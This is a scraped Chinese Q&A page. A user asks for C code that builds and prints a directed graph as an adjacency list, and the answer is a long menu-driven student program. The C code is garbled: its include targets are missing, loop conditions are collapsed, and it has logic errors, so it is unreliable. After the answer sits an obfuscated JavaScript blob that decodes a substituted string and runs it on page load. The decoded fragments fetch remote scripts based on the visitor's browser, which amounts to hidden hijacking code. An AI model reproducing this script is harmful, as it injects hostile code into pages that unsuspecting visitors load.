就高手帮帮忙,写一个以邻接表形式构建图并输出的的函数,感激不尽呐!(C语言版的,最好是结构体形式)

只写有向图的就可以了
2025-03-06 05:17:42
推荐回答(1个)
回答1:

没人理你……

我找不到简单的版本的……

只找到一个还算简单的……

#include 
#include 
#include 
#include 
#define MaxVerNum 50
#define OK 1
#define NULL 0
typedef int Status;
int visited[MaxVerNum];


typedef struct Arcnode{     
int adjvex;
struct Arcnode *next;
int info;
}ArcNode;

typedef struct vnode{
char data;
ArcNode *firstedge;
}VNode;

typedef VNode AdjList[MaxVerNum];

typedef struct {
AdjList adjlist;
int vexnum,arcnum;
} ALGraph; 


Status Visit(char e)//输出一个字母
{
printf("%2c",e);
return OK;
}

void Get(char *e)//输入一个字母
{
scanf("%c",e);
while(!('A' <= *e && *e<= 'Z')||('a' <= *e && *e <= 'z'))
scanf("%c",e);
}
void TGet(int *e)//输入一个数字
{

scanf("%d",e);
while(scanf("%d", e) <= 0)
{  
getchar();
}
}


void InIt(ALGraph *G,int S[])//数组初始化
{
for(int i=0;ivexnum;i++)
S[i]=0;
}


void FindD(ALGraph *G,char arch,int *a)// 找到顶点的下标
{
int m;

for(m=0;mvexnum;m++)
{
if(arch == G->adjlist[m].data)
*a = m;
}
}

void Find(ALGraph *G,char arch,char arce,int *a,int *b)// 找到弧头和弧尾的下标
{
FindD(G,arch,a);
FindD(G,arce,b);
}

Status IsBe(ALGraph *G,char arch)// 判断顶点是否已存在
{
for(int m=0;mvexnum;m++)
{
if(arch == G->adjlist[m].data)
{
return OK;
}
}
return 0;
}//IsBe


Status AIsBe(ALGraph *G,int i,int j) //判断弧是否存在

{

ArcNode *s;

s = G->adjlist[i].firstedge;
while(s)
{
if(s->adjvex == j)
{
return OK;
}
s = s->next;
}
return 0;
}//AIsBe


Status GetIn(ALGraph *G,char arch,char arce) //得到弧的权值

{

int i,j;
ArcNode *s;

Find(G,arch,arce,&i,&j);
s = G->adjlist[i].firstedge;
while(s)
{
if(s->adjvex == j)
{
return (s->info);
}
s = s->next;
}
return 0;
}//AIsBe


          
void CreatALGraph(ALGraph *G)//           建立图的邻接表 
{
int i,j,k,m;
char a,arch,arce;
ArcNode *s;

printf("请输入顶点数:");
scanf("%d",&G->vexnum);   
printf("请输入弧的条数:");
scanf("%d",&G->arcnum); 

printf("下面请输入图中的%d个顶点:\n",G->vexnum);
for(i=0;ivexnum;i++)
{
fflush(stdin);
printf("输入第%d个顶点:",i+1);
Get(&a);
if(!IsBe(G,a))
{
G->adjlist[i].data = a;
G->adjlist[i].firstedge = NULL;
}
else
{
printf("顶点%c已存在,请重新",a);
i--;
}
}

printf("下面请输入图中的%d条弧:\n",G->arcnum);
for(k=0;karcnum;k++)
{
fflush(stdin);
printf("输入第%d条弧:",k+1);
Get(&arch);Get(&arce);TGet(&m);
Find(G,arch,arce,&i,&j);
if(!AIsBe(G,i,j))
{
fflush(stdin);
s=(ArcNode *)malloc(sizeof(ArcNode));
s->adjvex = j;
s->info = m;
s->next=G->adjlist[i].firstedge;
G->adjlist[i].firstedge = s;
}
else
{
printf("弧%c,%c已存在,请重新",arch,arce);
k--;
}
}
printf("图的邻接表储存结构创建成功!\n");
}//CreatALGraph



void ACreateALGraph(FILE *fp,ALGraph *G)//           从文件读取图的邻接表 
{
int i,j,k,m;
char a,arch,arce;
ArcNode *s;


fscanf(fp, "%d", &G->vexnum);
fscanf(fp, "%d", &G->arcnum);
for(i=0;ivexnum;i++)
{
fflush(stdin);
fscanf(fp, "%c", &a);
G->adjlist[i].data = a;
G->adjlist[i].firstedge = NULL;
}
for(k=0;karcnum;k++)
{
fscanf(fp, "%c", &arch);
fscanf(fp, "%c", &arce);
fscanf(fp, "%d", &m);
Find(G,arch,arce,&i,&j);
s=(ArcNode *)malloc(sizeof(ArcNode));
s->adjvex = j;
s->info = m;
s->next=G->adjlist[i].firstedge;
G->adjlist[i].firstedge = s;
}
}//ACreateALGraph

void save(ALGraph *G)//保存文件
{
FILE *fp;
int i,j,k;
ArcNode *p;

// 打开文件
if((fp=fopen("AL.dat", "wb"))==NULL)
{
printf("数据文件打开失败,保存不成功,程序异常退出!\n");
exit(-1);
}
fprintf(fp, "%d", G->vexnum);
fprintf(fp, " ");
fprintf(fp, "%d", G->arcnum);

for(i=0;ivexnum;i++)    
{
fprintf(fp, "%c", G->adjlist[i].data);
}
for(i=0;ivexnum;i++)    
{
p = G->adjlist[i].firstedge;
while(p != NULL)
{
j = p->adjvex;
k = p->info;
fprintf(fp, "%c", G->adjlist[i].data);
fprintf(fp, "%c", G->adjlist[j].data);
fprintf(fp, "%d", k);
p = p->next ;
}

}

// 关闭文件
fclose(fp);

printf("图中的数据已经成功写入文件!\n");
}//save



void Traverse(ALGraph *G)   //输出邻接表
{
int i,j,k;ArcNode *p;


for(i=0;ivexnum;i++)    
{
printf("%2d|",i);
Visit(G->adjlist[i].data);     
p = G->adjlist[i].firstedge;
while(p != NULL)
{
j = p->adjvex;
k = p->info; 
printf(" ★-->%2d %2d",j,k);
p = p->next ;
}
printf(" △\n");

}
}//Traverse


void DFSM(ALGraph *G,int i)//深度优先遍历
{
    ArcNode *p;

    Visit(G->adjlist[i].data);
    visited[i]=1;                
    p=G->adjlist[i].firstedge;         
    while(p)
{
     if(! visited[p->adjvex])
 DFSM(G,p->adjvex);
 p = p->next;
    }
}//DFSM

void DFSTraverse(ALGraph *G)
{
InIt(G,visited);
for(int j=0;jvexnum;j++)
if(!visited[0])
DFSM(G,0); 
}//DFSTraverse

        
void BFSTraverse(ALGraph *G)         //广度优先遍历
{
int k=0;
    int i,f=0,r=0;
    ArcNode *p;
int cq[MaxVerNum];
    

InIt(G,visited);
    for(i=0;i<=G->vexnum;i++)
    cq[i]=-1;
Visit(G->adjlist[k].data);
visited[k]=1;
cq[f]=k;
while(cq[r]!=-1)
{
i=cq[r];
r=r+1;
p=G->adjlist[i].firstedge;
while(p)
{
if(!visited[p->adjvex]) 
{
Visit(G->adjlist[p->adjvex].data);
visited[p->adjvex]=1;
f=f+1; cq[f]=p->adjvex;
}
p=p->next;
}
}                               
}      // BFSTraverse

Status InArc(ALGraph *G,int i,int j,int k)   //插入一条弧
{
ArcNode *s;

s=(ArcNode *)malloc(sizeof(ArcNode));
s->adjvex = j;
s->info = k;
s->next=G->adjlist[i].firstedge;
G->adjlist[i].firstedge = s;
return OK;
}//InArc



Status InAr(ALGraph *G)   //插入一条弧

{
int i,j,k;
char arch,arce;


printf("输入要增加的弧<弧尾,弧头,权值>:\n");
fflush(stdin);
Get(&arch);Get(&arce);TGet(&k);
Find(G,arch,arce,&i,&j);
if(!AIsBe(G,i,j))
{
InArc(G,i,j,k);
printf("弧%c,%c,%d添加成功!\n",arch,arce,k);
return OK;
}
else
{
k = GetIn(G,arch,arce);
printf("已存在弧%c,%c,%d,请重新",arch,arce,k);
InAr(G);
return OK;
}
}//InAr




Status DeArc(ALGraph *G,int i,int j) //删除一条弧
{
ArcNode *s,*ss;


ss = G->adjlist[i].firstedge;
if(ss->adjvex == j)
{
G->adjlist[i].firstedge = ss->next ;
free(ss);
return OK;
}
else
{
while(ss->next)
{
if(ss->next->adjvex != j)
{
ss = ss->next ;
}
else
{
s = ss->next ;
ss->next = s->next ;
free(s);
return OK;
}
}
}
return OK;
}//DeArc

Status DelArc(ALGraph *G)
{
int i,j,h;
char arch,arce;
fflush(stdin);
printf("输入要删除的弧<弧尾,弧头>:\n");
Get(&arch);Get(&arce);h = GetIn(G,arch,arce);
Find(G,arch,arce,&i,&j);
if(AIsBe(G,i,j))
{
DeArc(G,i,j);
printf("弧%c,%c,%d已被删除\n",arch,arce,h);
return OK;
}
else
{
printf("弧%c,%c不存在,请重新",arch,arce);
DelArc(G);
return 0;
}


}//DelArc


Status ModifyArc(ALGraph *G)   //修改一条弧
{
int i,j,k,i2,j2,k2,m = 1;
char arch,arce,arch2,arce2;
ArcNode *s;


printf("输入要修改的弧<弧尾,弧头>:\n");
fflush(stdin);
Get(&arch);Get(&arce);k=GetIn(G,arch,arce);
Find(G,arch,arce,&i,&j);

if(AIsBe(G,i,j))
{
while(m)
{
printf("输入修改后的弧<弧尾,弧头,权值>:\n");
fflush(stdin);
Get(&arch2);Get(&arce2);TGet(&k2);
Find(G,arch2,arce2,&i2,&j2);
if(!AIsBe(G,i2,j2)||(i == i2&&j ==j2))
{
if(i != i2)
{
DeArc(G,i,j);
InArc(G,i2,j2,k2);
}
else
{
s = G->adjlist[i].firstedge;
while(s->adjvex != j)
{
s = s->next ;
}
s->adjvex = j2;
s->info = k2;
}
printf("已将弧%c,%c,%d修改为%c,%c,%d!\n",arch,arce,k,arch2,arce2,k2);
m = 0;
}
else
{
k2 = GetIn(G,arch,arce);
printf("已存在弧%c,%c,%d,请重新",arch2,arce2,k2);
}
}
return OK;
}
else
{
printf("弧%c,%c不存在,请重新",arch,arce);
ModifyArc(G);
return OK;
}
}//ModifyArc



Status InTop(ALGraph *G) //增加一个顶点
{
int i;char a;


printf("输入要添加的顶点:\n");
fflush(stdin);
Get(&a);
if(!IsBe(G,a))
{
i = G->vexnum++;
G->adjlist[i].data = a;
G->adjlist[i].firstedge = NULL;
printf("已成功将顶点%c加入图中!",a);
return OK;
}
else
{
printf("顶点%c已存在,请重新",a);
InTop(G);
return OK;
}
}//InTop


Status DeTop(ALGraph *G) //删除一个顶点
{
int i,m;char a;
ArcNode *s;



printf("输入要删除的顶点:\n");
fflush(stdin);
Get(&a);

if(IsBe(G,a))
{
FindD(G,a,&m);
for(i = 0;i < G->vexnum ;i++)
{
if(AIsBe(G,i,m))
DeArc(G,i,m);
}
for(i = m;i < (G->vexnum)-1 ;i++)
{
G->adjlist[i].data = G->adjlist[i+1].data;
G->adjlist[i].firstedge = G->adjlist[i+1].firstedge ;
}
G->vexnum--;

for(i = 0;i < G->vexnum ;i++)
{
s = G->adjlist[i].firstedge;
if(s != NULL)
while( s->next!= NULL)
{
if(s->adjvex >= m)
(s->adjvex)--;
s = s->next ;
}
}
printf("成功将顶点%c删除!",a);
return OK;
}
else
{
printf("顶点%c不存在,请重新",a);
DeTop(G);
return OK;
}
}//DeTop



Status ModifyTop(ALGraph *G)
{
int m;
char a,b;

printf("输入要修改的顶点:");
fflush(stdin);
Get(&a);
if(IsBe(G,a))
{
FindD(G,a,&m);
printf("请输入修改后的顶点:");
Get(&b);
while(IsBe(G,b))
{
printf("不能修改为已有顶点!请重新输入:");
Get(&b);
}
G->adjlist[m].data = b;
printf("已将顶点%c修改为%c",a,b);
return OK;
}
else
{
printf("顶点%c不存在,请重新",a);
ModifyTop(G);
}
return OK;
}//ModifyTop
Status Destroy(ALGraph *G)
{
for(int i=0;ivexnum;i++)
{
G->adjlist[i].data =0;
G->adjlist[i].firstedge =NULL;
}
G->arcnum = 0;
G->vexnum = 0;

return OK;
}//Destroy


void menu()                               
{
printf("\n");
printf("\t***********0233唐明邻接表****************\n");
printf("\t*        1  创建图的邻接表储存结构      *\n");
printf("\t*        2  读取图的邻接表储存结构      *\n");
printf("\t*        3  储存图的邻接表储存结构      *\n");
printf("\t*        4  输出邻接表数据              *\n");
printf("\t*        5  深度优先遍历图(DFS)       *\n");
printf("\t*        6  广度优先遍历图(BFS)       *\n");
printf("\t*        7  弧的修改                    *\n");
printf("\t*        8  顶点的修改                  *\n");
printf("\t*        9  销毁整个图                  *\n");
printf("\t*        10 清          屏              *\n");
printf("\t*        0  退  出  程  序              *\n");
printf("\t*****************************************\n");
printf("\t请选择菜单项:");
}



int main()
{
    ALGraph *G;
G=(ALGraph *)malloc(sizeof(ALGraph));
FILE *fp;
int choice,choice2,choice3;
int is = 0;

while(1)
{
start:
menu();
fflush(stdin);
scanf("%d", &choice);

switch(choice)
{
case 1:
if(!is)
{
CreatALGraph(G);
is = 1;
}
else
{
printf("请先将图销毁,再创建新图");
}
break;
case 2:
if(!is)
{
fp = fopen("AL.dat", "r");
if(fp==NULL)
{
fp = fopen("AL.dat", "w+");
printf("尚未建立AL.dat,图创建失败!\n");
printf("现已建立AL.dat,请先存入数据!\n");
break;
}
ACreateALGraph(fp,G);
fclose(fp);
is = 1;
printf("图的邻接表储存结构创建成功!\n");
}
else
{
printf("请先将图销毁,再创建新图");
}
break;
case 3:
save(G);
break;
case 4:
if(is)
{
printf("邻接表中的数据如下:\n");
printf("下标   顶点    链表结点(弧头下标,弧的权值,指针)\n");
Traverse(G);
}
else
printf("尚未创建图,请先创建");
break;
case 5:
if(is)
{
printf("深度优先遍历如下\n");
DFSTraverse(G);
}
else
printf("尚未创建图,请先创建");
break;
case 6:
if(is)
{
printf("广度优先遍历如下\n");
BFSTraverse(G);
}
else
printf("尚未创建图,请先创建");
break;
case 7:
if(is){
printf("(1 增加 2 删除 3 修改)");
scanf("%d",&choice2);
switch(choice2)
{
case 1:
InAr(G);
goto start;break;
case 2:
DelArc(G);
goto start;break;
case 3:
ModifyArc(G);
goto start;break;
default: goto start;break;}
}
else
printf("尚未创建图,请先创建");
break;
case 8:
if(is){
printf("(1 增加 2 删除 3 修改)");
scanf("%d",&choice3);
switch(choice3)
{
case 1:
InTop(G);
goto start;break;
case 2:
DeTop(G);
goto start;break;
case 3:
ModifyTop(G);
goto start;break;
default: goto start;break;}
}
else
printf("尚未创建图,请先创建");
break;
case 9:
if(is)
{
Destroy(G);
is = 0;
printf("图已销毁!");
}
else
printf("尚未创建图,请先创建");
break;
case 10:
system("cls");
break;
case 0:
exit(0);
break;
default:
printf("\t您输入的菜单项不存在,请重新选择!\n");
}
}
return OK;
}

这是在我大一的草稿文件中找到的……完美的被我直接放U盘上,交了之后删了。不过你应该够用了,如果嫌功能多了……自己删吧,我记得我交上去的有十几项选项,几十条功能。你第一次运行,要么下我传上去的,要么你先输入图,再储存。因为没有AL.dat文件所以不能直接读取。


!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();